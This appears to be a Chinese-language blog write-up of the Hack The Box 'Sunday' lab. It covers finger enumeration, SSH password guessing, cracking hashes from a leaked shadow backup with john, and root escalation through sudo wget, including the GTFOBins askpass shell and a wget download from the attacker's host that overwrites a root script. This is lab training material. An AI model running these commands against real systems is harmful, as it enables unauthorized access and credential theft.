Sunday-htb-writeup

0x00 靶场技能介绍

章节技能:finger枚举、密码猜解、.bash_history敏感信息泄露、hash破解、wget提权

参考链接:官方引导模式、官方writeup

0x01 用户权限获取

1、获取下靶机IP地址:10.10.10.76

2、使用nmap对靶机进行端口扫描,这里使用我编写的bash脚本进行跑一遍,避免过多的命令输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
┌──(kali㉿kali-linux-2022-2)-[~/Desktop/HTB-Tools-Kali/htb-portscan]
└─$ ./htb-portscan.sh 10.10.10.76 tcp
开始对 10.10.10.76 进行nmap端口扫描...
* 正在执行tcp协议的端口扫描探测...
sudo nmap -min-rate 10000 -p- "10.10.10.76" -oG "10.10.10.76"-tcp-braker-allports
PORT STATE SERVICE
79/tcp open finger
111/tcp open rpcbind
515/tcp open printer
6787/tcp open smc-admin
22022/tcp open unknown

* 正在对开放的端口进行TCP全连接式版本探测和系统版本探测...
sudo nmap -sT -sV -O -p"79,111,515,6787,22022," "10.10.10.76"
PORT STATE SERVICE VERSION
79/tcp open finger?
111/tcp open rpcbind 2-4 (RPC #100000)
515/tcp open printer?
6787/tcp open ssl/http Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14)
22022/tcp open ssh OpenSSH 7.5 (protocol 2.0)

* 正在对开放的端口进行nmap漏洞脚本脚本扫描...
sudo nmap --script=vuln -p"79,111,515,6787,22022," "10.10.10.76"
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.76
Host is up (0.34s latency).

──(kali㉿kali-linux-2022-2)-[~/Desktop/HTB-Tools-Kali/htb-portscan]
└─$ ./htb-portscan.sh 10.10.10.76 udp
开始对 10.10.10.76 进行nmap端口扫描...
* 正在执行udp协议的端口扫描探测...
sudo nmap -min-rate 10000 -p- -sU "10.10.10.76" -oG "10.10.10.76"-udp-braker-allports
PORT STATE SERVICE
111/udp open rpcbind

* 正在对开放的端口进行udp式版本探测和系统版本探测...
sudo nmap -sV -sU -O -p"111," "10.10.10.76"
PORT STATE SERVICE VERSION
111/udp open rpcbind 2-4 (RPC #100000)

* 正在对开放的端口进行nmap漏洞脚本脚本扫描...
sudo nmap --script=vuln -sU -p"111," "10.10.10.76"
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).

3、打开 10.10.10.76:6787是一个登录页面

4、通过百度搜索到一些默认口令信息

1
Oracle Solaris 的默认用户登录名和密码是jack。成为 root 用户。root 密码是solaris。

5、但是经过尝试,密码并不是这个,然后我又进行目录扫描,同样的也没有发现什么有价值的信息。

6、那就Trying Harderb吧,继续枚举其他有用的信息,返回刚才的端口扫描结果中,我们看到79端口有一个finger服务,我们看看能枚举到什么信息。

Finger是一个可以用来查找计算机用户信息的程序。它通常列出登录名、全名和可能的其他有关用户的详细信息。这些详细信息可能包括办公地点和电话号码(如果已知)、登录时间、空闲时间、上次阅读邮件的时间以及用户的计划和项目文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali-linux-2022-2)-[~]
└─$ finger admin@10.10.10.76
Login Name TTY Idle When Where
adm Admin < . . . . >
dladm Datalink Admin < . . . . >
netadm Network Admin < . . . . >
netcfg Network Configuratio < . . . . >
dhcpserv DHCP Configuration A < . . . . >
ikeuser IKE Admin < . . . . >
lp Line Printer Admin < . . . . >

┌──(kali㉿kali-linux-2022-2)-[~]
└─$ finger root@10.10.10.76
Login Name TTY Idle When Where
root Super-User console <Oct 14, 2022>

7、这里使用 finger-user-enum 这个枚举工具进行枚举,看看存在哪些账号信息

用户名使用这里的 names.txt 文件

/usr/share/dirb/wordlists/others/names.txt

/usr/share/wfuzz/wordlist/others/names.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali-linux-2022-2)-[~/Desktop/HTB-Tools-Kali/finger-user-enum-1.0]
└─$ ./finger-user-enum.pl -U names.txt -t 10.10.10.76
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

----------------------------------------------------------
| Scan Information |
----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... names.txt
Target count ............. 1
Username count ........... 8607
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Tue Dec 5 20:08:50 2023 #########
Access@10.10.10.76: Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
Admin@10.10.10.76: Admin < . . . . >..
Anne Marie@10.10.10.76: Login Name TTY Idle When ???..
Dee dee@10.10.10.76: Login Name TTY Idle When W ???..
Ike@10.10.10.76: Login Name TTY Idle When Where < . . . . >..
Jo ann@10.10.10.76: Login Name TTY Idle When Wh ???..
La verne@10.10.10.76: Login Name TTY Idle When ???..
Line@10.10.10.76: Line Printer Admin < . . . . >..
Message@10.10.10.76: Message Sub < . . . . >..
Miof mela@10.10.10.76: Login Name TTY Idle When ???..
Zsa zsa@10.10.10.76: Login Name TTY Idle When W ???..
######## Scan completed at Tue Dec 5 20:26:09 2023 #########
11 results.

8607 queries in 1039 seconds (8.3 queries / sec)

8、实际上,这里我并没有爆破出最终的账号,这里按照官方引导的提示,应该是爆破出 sunny 这个账号的。

9、其次,由于这个是靶机,一般密码都是靶机的名称,所以到这里就是直接ssh进行连接的过程了。

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali-linux-2022-2)-[~]
└─$ ssh sunny@10.10.10.76 -p 22022
(sunny@10.10.10.76) Password:
Last login: Tue Dec 5 12:14:05 2023 from 10.10.14.7
Oracle Corporation SunOS 5.11 11.4 Aug 2018
sunny@sunday:~$ ls
LinEnum.sh local.cshrc local.login local.profile
sunny@sunday:~$ id
uid=101(sunny) gid=10(staff)
sunny@sunday:~$

10、但是登录后,我们发现并没有user.txt这个文件,可能不是这个用户,这个只是个初始账号。

1
2
3
4
5
6
7
sunny@sunday:~$ ls -la /home
total 30
dr-xr-xr-x 4 root root 4 2021 12月 19 .
drwxr-xr-x 25 root sys 28 12月 5日 11:14 ..
drwxr-xr-x 2 root root 3 2021 12月 19 sammy
drwxr-xr-x 2 sunny staff 10 12月 5日 12:27 sunny
sunny@sunday:~$

11、可以看出来应该是去登录呢个 sammy 的账号,接下来就是信息枚举的过程了,我这里是继续使用的 LinEnum.sh 这个工具,传到靶机的过程就不描述了,使用的python3一键服务器传输下载的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
sunny@sunday:~$ sudo -l
用户 sunny 可以在 sunday 上运行以下命令:
(root) NOPASSWD: /root/troll
sunny@sunday:~$

sunny@sunday:~$ cat .bash_history
su -
cat /etc/resolv.conf
ps auxwww|grep overwrite
sudo -l
cat /backup/shadow.backup
sudo /root/troll
su -
sudo -l
sudo /root/troll
ps auxwww
top
ps auxwww|grep overwrite
cat /etc/resolv.conf
ps auxwww|grep over

sunny@sunday:~$ cat /backup/shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:~$

12、通过枚举脚本,我们主要获取到了2个信息,一个是我们可以通过sudo执行 /root/troll 脚本,一个是我们通过 .bash_history 发现有历史记录 cat /backup/shadow.backup ,在这个里面有两个账号的密码,可能是别人遗留的,也可能是本来就是这么设计。

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali-linux-2022-2)-[~/Desktop]
└─$ john pwdhash --wordlist=/home/kali/Desktop/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 128/128 ASIMD 4x])
Remaining 1 password hash
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sunday (sunny)
cooldude! (sammy)
1g 0:00:00:58 DONE (2023-12-05 20:44) 0.01713g/s 3491p/s 3491c/s 3491C/s daddyzgurl..chrystelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

13、这里我们成功的爆破出了账号,然后进行登录另一个账号,获取 user.txt

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali-linux-2022-2)-[~/Desktop]
└─$ ssh sammy@10.10.10.76 -p 22022
(sammy@10.10.10.76) Password:
Last login: Wed Apr 13 15:38:02 2022 from 10.10.14.13
Oracle Corporation SunOS 5.11 11.4 Aug 2018
-bash-4.4$ id
uid=100(sammy) gid=10(staff)
-bash-4.4$ ls
user.txt
-bash-4.4$ cat user.txt
0ac080e3c1696b30f8df907ba9ec28f5
-bash-4.4$

0x02 系统权限获取

14、这里我们使用python的pty来获取一个交互式的shell界面

1
2
3
4
5
-bash-4.4$ 
-bash-4.4$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash-4.4$
bash-4.4$ id
uid=100(sammy) gid=10(staff)

15、然后查看sudo,看看有哪些权限

1
2
3
4
5
bash-4.4$ sudo -l
用户 sammy 可以在 sunday 上运行以下命令:
(ALL) ALL
(root) NOPASSWD: /usr/bin/wget
bash-4.4$

16、可以看到我们可以通过wget来进行提权,这里直接使用 wget | GTFOBins 这里的方法,进行提权。

1
2
3
4
5
6
7
8
9
10
11
bash-4.4$ TF=$(mktemp)
bash-4.4$ chmod +x $TF
bash-4.4$ echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
bash-4.4$ sudo wget --use-askpass=$TF 0
root@sunday:/home/sammy#
root@sunday:/home/sammy# cd /root/
root@sunday:~# ls
overwrite root.txt troll troll.original
root@sunday:~# cat root.txt
45b13c44727d8ba4a29bb770fd366d10
root@sunday:~#

17、其实这里官方给的提示是使用wget把前面那个,把 /root/troll 给覆盖掉的方法来提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali-linux-2022-2)-[~/Desktop/test]
└─$ touch exp.sh

┌──(kali㉿kali-linux-2022-2)-[~/Desktop/test]
└─$ vim exp.sh
#!/bin/bash

bash

┌──(kali㉿kali-linux-2022-2)-[~/Desktop/test]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.76 - - [05/Dec/2023 21:01:44] "GET /exp.sh HTTP/1.1" 200 -

bash-4.4$ sudo /usr/bin/wget http://10.10.14.7:8000/exp.sh -O /root/troll
--2023-12-05 14:16:44-- http://10.10.14.7:8000/exp.sh
正在连接 10.10.14.7:8000... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:18 [text/x-sh]
正在保存至: “/root/troll”

/root/troll 100%[===================>] 18 --.-KB/s 用时 0s

2023-12-05 14:16:45 (1.15 MB/s) - 已保存 “/root/troll” [18/18])

bash-4.4$

sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
sunny@sunday:~$

18、然而在实际中,这个方法并不管用,并没有提权成功。

19、这个靶机整体过了一遍后,还是感觉比较烂,枚举用户名称烂、密码设置的烂,官方的引导方法也烂。

0x03 通关凭证展示

https://www.hackthebox.com/achievement/machine/1705469/136


Sunday-htb-writeup
https://sh1yan.top/2023/12/05/Sunday-htb-writeup/
作者
shiyan
发布于
2023年12月5日
许可协议